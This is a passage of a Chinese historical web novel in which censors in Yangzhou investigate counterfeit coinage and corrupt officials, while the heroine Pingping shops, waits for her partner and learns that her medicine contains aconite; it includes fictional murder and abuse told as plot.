节级们不嫌麻烦，解开抽绳就着灯笼光查看，的确是真金，方才相视一笑：“走，喝酒去。” “大人慢行。”男子恭送，光亮越来越暗，原先罗衫上还能被照出的莲花纹隐没不见。他这才动身往相反方向走，过桥穿巷，遵照主人之前让背的地图，七弯八绕。 衣裳也是主人吩咐穿的，说这样像个读书人，别人就不会知道他是长随。 他继续往前走，扬州城热闹繁华，却也有这样一片孤寂荒地——不知道主人怎么找到的。明明才搬来扬州三日，却好像无比熟悉，能绘地图，还能找到这种地方 这段时间他好像突然就不了解主人了。 比方说，以前他觉得主人是天底下最善良，也最好说话的，可现在却让买凶杀人，他会不会把自己也杀了？ 男子不知道自己为何会冒出这种想法，却不由自主打了个哆嗦。夜里真的很冷，鸡皮疙瘩渐多起来。 嘀嗒！ 男子吓一跳，再看天上好像落雨了，这一带许多野槐野榆，他头顶就是，水滴从叶间缝隙漏下来。 主人让他穿过树丛，到中央的洼地见面。主人明明有住处的，为何要约在那种地方？ 男子突然害怕起来，调头往回走，起先步子还犹豫缓慢，到后来越走越快，天上的雨也越下越大。 风萧萧自后脖颈袭来，不是风，而是主人飞过他头顶，跃至面前。 鹤氅一角触及地面，裴改之就问自家长随：“报酬都交到那两人手上了？” “交了。” “他们有何反应？可有跟踪你？” “阿郎放心，无人尾随，大人们得了钱就喝酒去了。” “那你呢？” 长随心一紧，反问的话染上颤音：“郎君说什么？” 什么我？ “我说，”裴改之笑，“阿四，你为何不去我们约好的地方？” “小的这不是还没走到么？”长随说完这话，拔腿朝与裴改之相反的方向狂奔，裴改之抿抿唇，微笑抬手，飞刀犹如一道流星，从后扎入，穿透长随咽喉。 真烦人啊，裴改之想，叫他去洼地等，洼地等，那样就可以直接埋了，现在还要搬尸。 淅沥沥下着小雨，为防雨水冲刷暴露，他不得不再埋深些。 唉，又添一桩麻烦。 要比预估多花一个时辰了，要是萍萍在旁边陪着他就好了。 他谁都信不过，从不结盟，也没真正的同伙。 这世上，孑孓来去，他只有萍萍，所以他的萍萍，也必须只能有他。 如果拉不来，劝不动，感化不了，那就让全世界孤立她。 第42章 第四十二章 扬州（二） 话分两头， 那俩节级说是吃酒，却先到暗处，放下灯笼， 打开刚得的酬金袋， 一人取三根金条， 各人放进各人袖袋，再把酬金袋揣回怀中，理严实衣裳， 一路走到淮南东路提点刑狱曹组， 曹提点家。不去大门，只敲角门， 很快门开一缝，俩节级侧身穿过，旋即关门。 曹提点身为刑狱司长官，耳听八方，司里大小事瞒不过他。俩节级照例孝敬上峰，一人奉上三根金条。 曹提点笑飞俩节级一眼：“只六根金条，你们就答应他草菅人命。” 俩节级弯腰赔笑：“一共六根， 都孝敬提点您。” 曹提点哪里会信这种鬼话， 却挑了挑下巴：“既如此， 你俩拿回一根去吃酒。” 俩节级皆道“提点抬爱”， 却不动手。 曹提点又问：“买凶的是何人？和御史台有何仇怨？” “是个书生 后生，仇怨不知。“俩节级来之前就讨论商量过，“依属下之见， 他不像恨御史台，倒像是单与那杨巡按结梁子。” “好了，本官知道了。”曹提点遣退俩节级， 半晌，扭头看向身后长随：“方才他们说的都听见了？” “回郎君，听得清清楚楚。” 曹提点从六根金条里抽出两根，交给长随：“带上这，去禀报帅臣。” 仅刻把钟，长随就将口信带到凌府。 淮南东路总领兼安抚使，嘉勇侯凌传道是位极俊美的男子，甚至有些男身女相。他的气色似乎不太好，倚靠亭下栏杆听完，恹恹无言。 反倒是旁边个头娇小，五官漂亮的小娘子，等长随走远，缓缓感叹：“竟也有旁人与御史台为敌。”敌人的敌人既是朋友，“不如……” “没有也。”凌传道漠然打断，“不要被本侯发现你私下联系。” 女子连忙保证：“不会不会，阿兄且请放心。” 凌传道这时才瞥眼女子，眸色薄凉：“三令五申，不要结仇，诸事低调。” 最近这四、五日，凌传道下令销毁了所有印版，又开私库，用真金白银换回假。钱，堵住活人的口，平掉账目。 赶是赶了些，好在缜密，滴水不漏。 御史中丞来扬，他采取不见面，不招惹，不敌对，不亲近四步原则。 林中丞查不出所以然，自会灰溜溜离开扬州，到时候他再恢复如常。 女子撇嘴：“要是杨廉懂得低调，我们何至于惹这大麻烦？” 朝廷俸禄，只能说吃得饱，饿不死，当官的谁真指望俸禄过活？ 那还做什么官？ 他们凌家是开国高祖封的功勋，高宗时期就开始暗中经营私铸，因为谨慎量小，几十年来都好好的，不曾打眼。 成大事者，皆从战战兢兢之心来，阿兄身为家主，却为了一个女人，将私铸技法传授杨廉。 杨廉是谁？ 那可是个杀鸡取卵的猖狂草包，亡命祸害！ 她几番劝阻，阿兄就是不听，放任杨廉胡作非为，果成祸端。 女子正忿忿不平，忽听凌传道恹恹发问：“所以这就是你杀害杨廉的理由？” “阿兄怎可以讲这种话？”女子否认，“我近两年就没去过润州！” 不曾参与！ 凌传道笑着点了点头，忽抽腰间软鞭，如蛇缠绕女子脖颈，他另一只空着的手垂下、颤抖，至此才有些活人劲头：“你杀了杨廉，叫我如何向巧娘交待？” “都说了不是我杀的，”女子三言两语就已落泪，“阿兄你不信我吗？再说，”她哽咽了下，“现在杨廉已死，你若再杀我，她就真没在乎的人了。” 凌传道闻言，不仅手抖，两颊也开始抖动，整个人似极愤怒，却又无比恐惧，他很快收回了软鞭。 * 林元舆柳湛等人来扬州第二日，主要去茶盐司查阅卷宗。 全司官吏全力配合，御史台的大人们要什么就给什么，没有遮掩不让查的，连一闻就咳嗽的那种陈年泛黄卷宗都搬出来，且怕被诟病耽搁，司中官吏进出呈递皆一路小跑。 全司上下，挑不出错处。 至于卷宗，柳湛等人翻来查去皆是平账，扬州干利稍微高些，楚州、真州、泰州、泗州乃至润州，每年干利均不相上下。 再细过库房里的交子白银，无一假。钱。 淮南茶盐提举高三畏便道：“林公您在扬州收到的赝币，肯定是润州流传过来，咱司里其实都是奉公守法，廉能清正的，自知君子行廉以全其真，守清以保其身。原以为杨某亦如此，哪知他狗胆包天。” 他这么一说，司下属官纷纷应声，先表清白，继而痛骂杨廉一颗老鼠屎，坏了一锅粥。 又说那杨廉知假造假储假皆在润州，扬州诸官一概不知。 林元舆心道，底下人犯错，那还不是你高提举用人失察，捋须正待施威，却冷不丁记起一个人——前朝循吏李离。 李离身为理官，一向秉公执法，刚正不阿，却因下属错报，过听杀人，当下便要制裁谢罪。 其主晋文公阻拦，说‘下吏有过，非子之罪’，李离却坚称下吏之过亦是己罪，天底下没有推诿罪责给下属的道理。 晋文公便追问：“照你这么说，寡人岂不是也有罪了？” 想到这，林元舆后背惊出冷汗，用人失察这话还是先别讲，日后请示了太子和官家，再做断决。 柳湛坐在林元舆身边，耳听众人言谈，目光落在去年的卷宗上，官盐万余斤是在润州遭涝淹毁的，首府扬州本司关系撇得一干二净。 心知肚明，卷宗库银都已被做得滴水不漏，再翻也翻不出什么可疑处，柳湛合上卷宗。 其实关于淮南茶盐司，早在下江南前，他提前准备翻查往年报京账目，就有留意一处特别：淮南东路上缴的茶盐利，前面二十余年除却灾年，均缓步上涨，从六年前开始，却如云梯一般，陡然提高。 倘若一个地方存在贪污，账应该是下跌的，而不是攀升。 他现在翻了本地卷宗，和报京账目别无二致。 柳湛启唇：“六年前，本地发生过什么大事吗？” 室内众人皆望过来，林元舆探身瞥向柳湛面前卷宗：“怎么了？” 柳湛便将疑惑一说，林元舆捋须：“嗯，是有几分蹊跷。” 高提举拱手：“回中丞，下官是一年前轮换到此的，彼时交接顺利，就没怎么读从前的卷宗。” 再一问，本朝三年一轮值，室内诸人六年前都不在扬州。 林元舆想想自己六年前在做什么？他当时正轮值监察御史，察院和台院均未发生大事，平平无奇的一年。 哦，昭仁太后是那一年病逝的，才六年，人已经慢慢遗忘。 “那六年前在这当值的呢？”袁未罗问。 大伙一道翻卷宗和来往文书，又派人去衙门那边查官吏调令，高三畏前面两任皆是老大人，已先后亡故了。 蒋望回主动同柳湛对视一眼，继而瞧向林元舆，恭敬垂首：“林公，属下提议，要不再去杨廉的宅邸看看？” 林元舆起身：“是该去去。” 途经路上，七、八辆车并两队兵卒，袁未罗头伸窗外，前面瞧了后面望，嘟囔：“抄个家要这么多人吗？” “不需要，所以你先回驿馆去。”蒋望回不紧不慢接话。 袁未罗：？？？ 还有，不是，今天蒋殿帅怎么坐他这俩车？ 蒋望回仍顾忌二女争执，有意为之，缓和了语气，轻叹：“说真的，你先回去吧。” 上次抄杨廉润州宅邸，袁未罗就不在场，确实不少他一个。 袁未罗掀帘：“车夫老丈，待会前面路口，麻烦停一下车。” 待到停时，袁未罗回头招呼：“那我走了。” “去吧。”蒋望回点头，又道，“如有情况及时告知。” 袁未罗人已经两步跨下车，闻言扭头眺向车内，满腹不解：什么意思？能有什么情况？ 蒋望回却又不明言，抿着双唇。 殿帅做闷葫芦不是一次两次，袁未罗已经习惯，摇摇头走了。且说蒋望回这边，下车后和柳湛伴林元舆左右，同探杨宅。 杨廉其实算作扬州的官，润州只是巡察差派，但他扬州的宅邸却远不及润州别院，只一半不到占地，一主两配三间房，进门就望到底。 四十五人站都站不进去，火速抄完，掘地三尺，一无所获。 蒋望回蹲下摸土，方才，土重填后是松的，但刚才初进杨家时他有留意，土极夯实，没有挖过的痕迹。 杨廉的确没在这埋过银子。 林元舆低头跨了一步，这院子也小，十步能走完：“他扬州怎么住得这 么小？” 蒋望回闻言抬头眺向柳湛，柳湛不语，方才看过厨房和厢房，有炭火无蛛网，说明杨廉偶尔会来这里住，并没有废弃。 床上的缎面、帐子，一应用度十分简陋，却让他产生熟悉感，因为萍萍润州的宅子就是这样。 他想，也许这里才是杨廉真正的家。 柳湛又悠悠思忖：临行前他曾询问官家，缘何将润州划归淮南东路？官家最新一封圣谕里告诉他，那是凌传道亲口向官家讨的。 * 驿馆里无所事事，蒋音和爱答不理，萍萍有意讨好，却始终热脸贴冷屁。股。 她干脆不管了，溜出驿馆。 先再去兜一圈同文馆铺子，如果可以，瞧瞧簪子进度。 萍萍想着就过马路，刚好遇见回驿馆的袁未罗。她没瞧见他，袁未罗却瞅见这位姑奶奶，其实那跑马尚离得远，他也不待见萍萍，却还是怕她撞着，拉了一把：“你不看一下路么？” 萍萍被生生拉回驿馆门口，差点后仰跌倒，平衡站稳，某位不认识的大官人才打马飙过。 萍萍看向袁未罗，张口就问：“你回来了，官人他们呢？” 袁未罗仍皱着眉：“他们还有公事要忙。”他见萍萍上下打量自己，立马补充：“我也很忙的。” 萍萍笑着点头：“那您忙。” 说罢就要再次过马路，袁未罗其实也是个怕闲的，喊住她：“唉，等等，你去哪啊？” “我去对面逛逛。” 要不是刚才袁未罗拉回来，她完全可以，并且已经过到街对面去了。 袁未罗瞟一眼对街，不解：“同文馆有什么好逛的？” 萍萍倒退回来，指旁边，脑袋朝袁未罗那边歪：“瞧见了吗？旁边那铺子，里头全是番货。” 袁未罗除开这趟下江南，一直被关宫里，立刻起了浓浓好奇，也想去逛，却嘴硬道：“什么番货？我见得可多了，帮你瞧瞧，可别被骗了。” 说罢还板起脸，挺胸直背，负手背后。 第43章 第四十三章 为妻好比月旁星 萍萍信以为真， 笑道：“那太好了，我上回去有许多不认得，有的番商说的汉话听不懂， ”她抬手摸了下眉骨， “说来说去还是不知道是什么。” 袁未罗有些心虚， 只点头，不应声。 两人左右张望着过到对街，萍萍好奇：“袁小哥， 你以前是做什么的？” 怎么会懂番货？ “我是林公家生仆。”一谎百谎圆， 他六岁进宫净身，应该差不多吧？袁未罗摸着鼻子， 继续找补：“但是随林公游历九州，还是有些见识的。” 萍萍点头，不疑作假，二人已入铺内，映入眼帘的柜台上摆着三排骨雕，却比骨更偏米白，番商展示一把透雕的折扇， 打开来看镂空好似江南园林的花窗， 光照下特别美丽。萍萍本来不敢碰， 番商却主动让她上手把玩， 手感比想象中还要润泽。 萍萍没卖关子，直接道：“袁小哥，这象牙扇摸着好舒服， 还有你看这雕刻，人怎么能有这么巧的手？” 番商得意，指柜台最远一排， 抵墙用几架供着的：“娘子再瞧瞧那个，我家的镇店之宝。” 萍萍进店就扫过一眼，这会定睛细看，最后一排竟是根跟人臂等长的象牙，匠心独运，雕成八仙过海，倒骑驴的张果老，捧莲花的何仙姑，冉踏浪中。 萍萍由衷赞叹，袁未罗却看得寻常：“这才八个人？我八十个人的都见过。” 番商听得有点不高兴：“小哥，莫要乱夸海口哦！” 袁未罗说的其实是实话，宫里有座象牙雕的前朝画圣《八十七神仙卷》，可不就是八十七个人。 番商觉得眼前少年满嘴胡言，着实轻浮，禁不住想戳穿他：“八十个人，那一人才多大？人如米粒，如何雕得？” “没有啊，”袁未罗照亲眼所见讲，“一根象牙雕一个人，合起来假山那么大。” 番商被他逗得哈哈大笑，压根不信，袁未罗顿时蹿起一股无名火，还欲再辨，萍萍将他拉走：“算了算了，逛逛别的。” “你信吗？”袁未罗问她。 萍萍半信半疑，亦觉袁未罗有夸大嫌疑，但她还是选择站在袁未罗这边，毕竟他是官人的朋友，也是她即将成为的朋友：“我信。” 袁未罗这才继续同萍萍往下逛，又瞧见一家卖香料的，萍萍低鼻轻嗅，上回来就有留意这种名为胡椒的香料，熬鱼汤或者撒一点在汤饼里，肯定香，可是太贵了，一勺胡椒就卖二十两银，只能闻闻了。 袁未罗在旁蹙眉：“胡椒辣得狠。” 他不爱这个味，宫里有时包馅炖汤添多了，辣得遭不住。 没什么值得逗留的，他负手踱到下一家。 …… 逛得多了，袁未罗才发现自己还真都见过这些番货。 只不过在宫里就是寻常用度，没人特地强调，他一直不知道这些东西来自番邦。 逛得多了，萍萍愈发笃定袁未罗见多识广，将他拉至那卖男子发簪的柜台，让番商取出那支样品星簪：“好看吗？” 帮她掌掌眼。 “好看。”袁未罗毫不犹豫肯定，但转念一想，这柜台只卖男簪，她问好不好看，是打算买这支送给殿下吗？ 那对殿下来讲，这支就算不上好看了。 袁未罗之前厌恶萍萍，但殿下叮嘱后，尝试正常与她接触，尤其是今日逛的这一圈，已有改观，忍不住劝：“你打算送给——”话说之前没思量，卡了下称谓，“送给你官人吗？” 萍萍是要给官人惊喜的，相处数日，已经发现袁未罗是个大嘴巴，哪敢讲真话：“没有啊，没打算。” 袁未罗哦了一声，暗暗松气。 萍萍心虚，转移话题：“你不买一支吗？” “我买这些做什么？” “这位小哥一看就不是我的主顾，”番商在旁打趣，“小哥要买，也是去隔壁街的首饰铺，给他将来娘子订一套头面！” 袁未罗霎时变脸，表情极为复杂，千变万化后归于惘然。 番商和萍萍皆留意到，虽然不晓得原因，但这世上各有各的难处，无人再多嘴。 “还逛吗？”袁未罗问她。 萍萍正犹豫怎么回答，袁未罗就委顿道：“我有点累了，想先回去。” “刚好我也逛得差不多了，一起走。”萍萍便同袁未罗一道回驿馆。 上回她听馆吏说能代煎药，早晨就拿着药找去后厨，却被告知驿馆代煎必须要先登记，负责入册的馆吏刚巧出去，无法办理，让她过一、两个时辰再来瞧瞧。 这会逛完回来，刚好过去一个时辰，萍萍揣着药又跑了一趟，馆吏在了，登记了册子，自明日起就可以帮她代煎药了。 萍萍约定取药时间，千恩万谢，方才返回客房。 一进门，就瞧见蒋音和坐在桌边，桌上多个盛着各色丝线，手绷剪子的竹筐，蒋音和指带顶针，飞针走线，正做女红。 萍萍走近数步，瞧出蒋音和在做的是个香囊，上头的兽首即将完工，已能瞧出威风凛凛。 “绣得真好。”萍萍夸赞。 蒋音和原本不打算搭理她，但过了会，想到什么，嘴角勾起一笑：“绣给我哥的，他马上快过生辰了。” “是吗？”萍萍追问，“什么时候？” 不知者无罪，但知道了，蒋望回是朋友，不备贺礼就说不过去了。 “就这个月廿五。”蒋音和已经绣好，收了线头开始填香，拿出一个挂着金勺的小盒，一点点往囊里舀香料。 萍萍既瞧又嗅，哪怕以前没见过，也能通过一双眼判断出绢料和香料的品质不一般。 “这是什么香？”萍萍以为檀香最贵，便猜，“檀香？” 蒋音和飞快勾了两下嘴角，走针收口——自从上回街边瞧见那劣质檀香后，就再不用檀了。她给哥哥用的是沉香，久藏不朽，常用无障。 萍萍忽然发现框中没用的那只绷子下隐约还有一只香囊，误以为蒋音和要 送兄长一对，笑着去掀手绷，没打算碰香囊，只想瞧清楚些，日后给蒋望回送礼有个参考：“这只已经绣好了吗？” 蒋音和一开始只打算给蒋望回做，但绣着绣着，就想给殿下也做一只。到后来准备送殿下的龙涎香囊反而先做好。萍萍一问，蒋音和心里一慌，尖声呵止：“那不是送他的，你别动！” 蒋音和站起用力捂住手绷，遮挡香囊，她手上抓着针，没注意一下刺进萍萍肉里，鲜血即刻外冒。 萍萍被刺得咧了嘴，缩回右手。 蒋音和瞥见血红，一霎内疚，却又想是萍萍先不经允许乱动，被刺活该。蒋音和也不言语，径自收起竹筐，回自己那半边客房去。 萍萍吮了吮被刺破的手背，还好，小伤口，一会自己就结疤了，蒋娘子方才多半是激动误伤。 只是她为什么那样激动？ 刚刚揭开手绷那一霎，萍萍闻到一股自己从来没闻过的浓烈香味，还有，那香囊上绣的不是兽首，而是一对并蒂莲花。 蒋娘子已经有心上人了？ 这一日，蒋音和再没同萍萍讲过话，萍萍晓得蒋娘子在气头上，亦不敢主动招惹。 她也不敢在驿馆里逛——自己毕竟是官人带来的人，万一误闯误见了什么，冒失坏了规矩，会影响官人他们的名声。 只能枯坐房中，等官人他们回来。 前段日子困于吸江楼的那份穷极无聊、无以自遣再次涌上心头，她肘撑着桌子，手拖着腮，无精打采地想，就算是一朵花，困在瓶里久了，它也枯败了；一只鸟，困在笼里久了，它也不会再啼鸣。 但凡听见车马声和驿夫的声音，萍萍都会透过纱窗眺一眼，等晚上瞧见林公下马车，她即刻就像打开鸟笼一样推开纱窗，林公后面那辆便是柳蒋二人所乘，蒋望回先下车，柳湛随后，钻出车厢那一刻，明明是他自己余光主动寻去高处，却不察本心，以为是无意扫见窗边佳人。 但即使这样，他还是即刻扬起两侧唇角，漾笑。 下一刹却立马敛去，头也始终低着，好像从始至终不知道萍萍在上面招手。 柳湛踩凳下车时，蒋望回已在旁边站定，觉察动静，抬头仰望。萍萍一开始没看蒋望回，见他抬了头，方才挪目对视，也挥挥手，又给蒋望回打手势，让他提醒柳湛。 蒋望回迟滞须臾，帮萍萍传达：“萍娘子在上面。” 柳湛这才面无表情仰望，萍萍高兴得又挥了两下，而后消失在窗边。 柳湛晓得她是跑下楼了，脑海里不由自主浮现萍萍提裙小跑的样子，他面上不显，依旧板着脸，但在与蒋望回分别，独自跨入庭院后，步子就开始越放越慢，萍萍在开满海棠花的院子里赶上柳湛：“官人。” 他侧身展臂，极其自然将她揽入怀中，查案阻滞的隐忧思虑，甚至这两天因她而起的愤慨焦躁，竟都在这一刻消散，他甚至能无比平和地想，前面那两道立着的蔷薇花架，过几天也该像它底下的海棠一样，开花了。 但这份宁静没有持续多久，柳湛很快恢复成寻常的思深忧远，并暗暗告诫，怀里是个女骗子，而自己只是虚与委蛇。 他脸上又浮现那种最常见的淡笑，缓缓低头看向怀中萍萍，发现她正仰着脑袋望天，便也随之望向苍穹，星繁如砂，看来明天极有可能会落雨。 其实萍萍刚才无意瞥见漫天繁星，立马就想到了要送柳湛的那支簪，继而思及月钗，“愿我如星君如月，夜夜流光相皎洁”。 然后开始在星辰满布的夜空搜寻皎月。 她半晌不说话，又不正眼瞧柳湛，他按耐不住：“在看什么？” 这天上有什么需要欣赏这么久？ 那星簪是惊喜，断不可提前告知，萍萍便只眨着眼睛说最后的：“我在找月亮……” 柳湛轻笑一声：“今夜星多若砂，如何寻得到月？向来是月明星稀——”说到这里话顿住，记起萍萍曾说他是她的月亮，也随即想到那句夜夜流光的情诗。 他猜到她的心思，却不知为何，心里堵着一口气，明知伤人，却偏要说完，“——星亮月暗，星多月无，月亮与星辰几难相伴。” 瞧见萍萍的眸光很明显黯下去，他心里两分痛快，却又生出几丝新的，不曾体味过的别扭。 原来一个人的难熬有这么多种。 萍萍却在这时再次绽放微笑，柳湛瞅着她重打起精神，杏眼亮起光：“官人今天查案很辛苦吧？” “还好。”柳湛极力维持平淡语气。 见他早出晚归，她很是心疼：“你早点休息，别太操劳。” 第44章 第四十四章 狗 * 凌府。 雕花床， 绡金帐，水晶瓶内繁花似锦，龙檀木雕的仙鹤口衔线香， 袅袅正焚。 满室温馨， 唯独坐在轮椅上的小娘子一脸清冷， 她不仅腿残，双目也空洞异于常人。 堂堂嘉勇侯，官家的表外甥凌传道， 竟侍在轮椅旁亲自喂粥， 为了将就女子，全程躬身， 小心翼翼，每一口都要先吹到不烫。 “今日这粥加了干贝，你尝尝，要是嫌咸我再给你重做。”凌传道语气讨好，活脱脱成了个狗奴才，但他的精气神倒是远比那日凉亭下快活，热情洋溢， “还是喜欢昨日小米熬的么？也好， 那个的确好消化些。” “朱郎中说你已经在一天天好起来， 再过些日子就不用吃流食了。” “朱郎中致仕前是翰林医官院的正院使， 记得小时候我生病，看来看去治不好，最后都是去宫里请他， 两、三副药下去，药到病除。” “你也会好起来的。” “没好起来前，我也只吃流食， 陪着你。” 凌传道喂一口讲一句，一个劲的自说自话，女子面无表情，若不是张嘴吞咽，两瓣唇在动，俨然就是个木头人。 “早晨下了会雨，若是觉得冷，我把地龙再烧起来？” 女子依然不答他，喂完了，凌传道挥挥手，有婢女进来收走碗勺，他自己仍待在房内，没有要走的意思。 女子冷不丁开口：“我二哥和小环呢？我要见他们。” 凌传道面露惊喜，转瞬却成惶恐：“我不知道他俩在哪，我已经许久没有干涉了，也没有监视，都是他们来找我，予取予求。”他定定对视女子，哪怕女子目不能视，“你信我。” 女子只道：“我要见他俩。” “好，好，你别生气，我这就通传。”凌传道语气极轻柔，少倾，勾唇角，凄凄一笑：“巧娘，你这算不算肯跟我说话了？” 女子合唇靠着轮椅，恍若石雕。 凌传道抬手，吩咐婢女：“去，喊三娘子来，顺道问下杨提举在不在扬州，在的话，就说夫人即刻想见他。” 半个时辰后，一瘦小漂亮，戴冠子的女娘人还在门外，笑声就传进来：“姐姐，听说你找我？” 轮椅上的小娘子浅绽微笑，看得凌传道瞬间痴了。可她这笑却是对着门外的：“你最近还好吗？” “好啊。”戴冠女娘往里走，笑吟吟打量轮椅上的小娘子，凌传道打断巧姐姐的双腿，弄瞎她的眼睛，现在却又想她好，世上哪有这么轻易的事情。 戴冠女娘刚走到轮椅旁，就有婢女来报：“帅臣，杨提举去毫州公干，尚未归来。” 戴冠女娘闻言，笑眯眯看向凌传道，凌传道也回盯女娘。 他一脸冷戾，却用温和语气追问身后婢女：“什么时候走的？有没有说过几时回来？” “本月十八日走的，说是巡察茶利，归期未知。” “哎呀，阿兄，”戴冠女娘插话，“你明知姐姐想杨提举，怎么还放任提举去那么远的地方？” “与我无关，我不参与，他们茶盐司自己的决定。”凌传道即刻撇清，眼仍紧紧盯着戴冠女娘，戒备紧张。 轮椅上的小娘子右手探出，在空中摸索，戴冠女娘旋即伸手让小娘子握住。 小娘子笑：“就让他去巡察吧。” “都听姐姐 的。“戴冠女娘绕到轮椅后面，“姐姐，这屋子闷得慌，我推你出去走走吧。” “好。” 戴冠女娘便推起轮椅，凌传道像只恶犬般紧盯后面，二女移一步他便移一步，但动作极轻，无声无息，但听声音，会误以为他没有尾随。 二女说说笑笑，绕奇石屏风，穿葡萄花架，到园中凤尾竹边停住，远处假山凉亭，脚边一池清塘。 戴冠女娘给盲女描绘水中游鱼，凌传道就在盲女对面站定凝视，不多时一长随翻假山来到凌传道身边，禀道：“帅臣。” 二女同时止声。 凌传道脸色瞬间变得极难看，示意长随同他上到凉亭内，这回不再刻意掩盖脚步声。 “帅臣，今日林中丞去的衙门。” “戚有恒呢？”凌传道直呼扬州知府大名。 “陪着呢。” 凌传道看向凤尾竹丛，二女嘴唇启合，他听不见，忧心忡忡，同长随摆手：“好了应该不会有事，林元舆如果这几天都在府衙，就不用再来报了。” 凌传道匆匆下山，赶去池塘边，又蹑脚没了声音。 与此同时，扬州府衙，林元舆过了一部分近年卷宗，最近一两年治安颀好，两院的登闻鼓一年半无人敲响，整座扬州城连丢猪这样的小事都不曾发生。 扬州戚知府得意笑道：“我们扬州累世承平。” 林元舆记起来，去年官家曾夸过扬州治理有方，便道：“不仅仅扬州，如今是四海承平，国泰民安。” “天下所以平者，政平。”诸官会意，也纷纷夸起官家，说盛世阳春，天下大治全因出了位中兴明君，听得柳湛在旁连连自省，他年继位，千万不要被媚官惑心。 既然承平无事，便早早结束，戚知府要再请林元舆吃酒，柳湛瞟一眼蒋望回，蒋望回会意，埋首禀明林元舆：“林公，属下们都是第1回 来扬州，还没逛过，今日散衙早，想自己在城里走走。” “去吧去吧。”林元舆会意，继而也婉拒戚知府，说自己年纪大，天天吃酒吃不消，先回驿馆去。 柳湛则同蒋望回沿街踱步，走过三、四条街，确认无人尾随，柳湛才道：“我想去守守闻登鼓。” 蒋望回启唇无声，随柳湛去，两人在街对面酒楼要了间包间，隔着漏窗守了两个多时辰，从白天到黑夜，确实无人击鼓，且街上人来人往，十分融洽。 蒋望回眉眼间不由浮现一丝欣慰：“看来真是安居晏然。” “走吧。”柳湛示意他结账。 二人出酒楼走不过百步，就听见嚎啕痛哭，再看是一家五口，着孝服，持白幡，坐在一户宅院门口大声泣述。 柳蒋二人听了一会，原来他们是隔壁人家，邻居扩建，侵占二尺宅基，拒不拆还。 于是便来静坐。 柳湛与蒋望回对视一眼，蒋望回上前问那穿白戴孝的家主：“老人家，既然如此，怎么不去报官？” “报官？”一家五口，齐刷刷用听到天大笑话的表情望着蒋望回，周遭围观百姓亦纷纷附和，柳湛和蒋望回这才知道，本地规定，报官原告需提供原被告祖宗十八代户籍和详细生平，且口说无凭，要文牒齐全符合，才予办案。 蒋望回蹙眉：这不故意为难吗？难怪百姓宁愿每日静坐，也不考虑报官。 “老丈，”柳湛启唇，问那家主，“这规矩是一惯如此，还是新拟定的？” “也不算新吧，都出台两年了。” “两年也挺新的。” …… 围观百姓七嘴八舌，柳湛负手转身，径直往驿馆方向走，蒋望回紧随其后。走出十来步，忽冒出一长随伸臂拦路，柳湛本能扣手，按上袖里剑。 那长随先躬身，而后手指街边酒楼：“二位大人，我家郎君邀二位楼上一叙。” 他称大人不称大官人，蒋望回便以为是本地官吏，想要官场联络，旋即拒道：“承你家大人好意，只是我们才吃过一回酒，已不胜酒力。” 长随依旧挡在面前，掏出一枚铜钱递给柳湛：“大人们误会了，非是联络，我家郎君想请教这枚铜钱是真是假。” 柳湛指捏赝币瞧了瞧，噙笑吩咐蒋望回：“你先回去。” 蒋望回忧心忡忡瞥柳湛，柳湛却已朝长随颔首：“劳烦带路。” 蒋望回见状，不再迟疑，一心赶回驿馆，柳湛独自进入酒楼。 一楼大堂尚且喧嚣，到上面二楼三楼，逐层渐静，长随领去的又是最僻静的包厢，他一立定门口，霎时万籁俱寂。 长随抬臂开门：“大官人，我家郎君在里面。” 柳湛颔首，带笑步入，长随旋即从外面关上门。包厢内里不大，只一桌两椅，上面摆些许酒菜，一素衫青襟，戴垂脚蹼头的小郎君正立于窗前，背对柳湛。 小郎君生得颇矮，才到柳湛肩头，他似乎在望窗外，柳湛噙笑也走近瞧，才发现窗外就是正街，可他方才进酒楼前上眺观察过，并无窗户——做得机巧，包厢内的人能一览街景，窗外的人却窥不见厢内半点。 华灯初上，街上缕缕行行，小郎君转过身与柳湛面对面，做了个请坐的手势，又笑问：“大官人可还认得我？” 柳湛淡笑，这做东之人虽着男装，却无喉结，耸胸脯，上回见时她还是一脸浓妆。 柳湛自去案几对面，缓缓坐定：“一场杂剧也好笑，来时无物去时空。”他顿了下，“双双娘子，好久不见。” “大官人好眼力，好记性。”女子亦笑，提壶为柳湛斟酒，“一壶玉液满樽酒，人生何处不相逢。” 酒水哗啦，女子续道：“奴其实不叫双双，家父老嘉勇侯凌遐龄，奴双名小环，家中人称三娘子，大官人也可这般呼唤。” * 蒋望回赶回驿馆时，天已颇黢，街对面同文馆的店铺都关了门，他抬头一望，就觑见窗后丽影闪动，继而消失。 蒋望回收回目光，跨入驿馆，径直走向林元舆所住客房，却见萍萍小跑下来，正对着他迎了上来。 蒋望回愕然停步，完全没想到她会下楼。 莫不是太心急只瞧了个大概，误以为殿下也回来了？ 他如实告知：“萍娘子，你家官人没有跟我一起回来。” 萍萍点头：“我知道。” 轻轻三字，蒋望回心头一跳。 第45章 第四十五章 娘子莫忧 “蒋兄， 之前都是你们和林公一起回来，今天我看林公先回，你再回， 唯独不见官人， 我就心里有些慌……”萍萍说时嗓音轻颤， “官人是不是出什么事了？” 她这样讲，蒋望回反而敢正视她的眼睛了：“怎么会，你官人去办林公额外吩咐的差事， 那事情繁琐， 还未办完。”他移开眼，看向楼梯台阶， “娘子莫忧。” 萍萍吁了口气，褪去忧色。 少倾，蒋望回拱手：“在下还要去向林公回报，先告辞了。” 萍萍点点头：“那我也上楼去了。” 两人各自转身，背道离远，将才走出两步，馆吏就从院中穿来， 气喘吁吁喊：“萍娘子、萍娘子， 且等等！” 萍萍和蒋望回双双驻足。 萍萍笑问：“大人， 找奴什么事？” “萍娘子你那药——”馆吏奔跑时被墙壁遮挡半边视线， 不知道蒋望回也在旁边。驿馆当差的人，大多记性好，人又精， 上回萍萍顺嘴一句“蒋小官人劝说坚持吃一年”一直挂心。 出于谨慎，馆吏合上双唇。 蒋望回会意，垂眼抬腿， 要继续前行，萍萍也觉出端倪，但她向来坦荡荡，便觉得别人也都坦荡荡，实在想不出来药上面有什么不能听的：“大人，有什么事但说无妨。” 蒋望回再次停步。 馆吏从怀中掏出一张纸：“萍娘子，这是你的药吧？” “是啊。” 当时登记时怕弄混，三包包药的黄纸上都记了个“萍”字。 馆吏深蹙两眉：“你吃了这药后，身子可有好转？” “好像还好。” “那可有哪里不适？” 萍萍就是手脚偶尔有些重，但自觉是 中毒针的后遗症，和吃药无关：“也没有。” 没事就好，馆吏松了口气：“我也不懂，是今日药师过来，刚好瞧见这药里有附子，说不能常吃。” 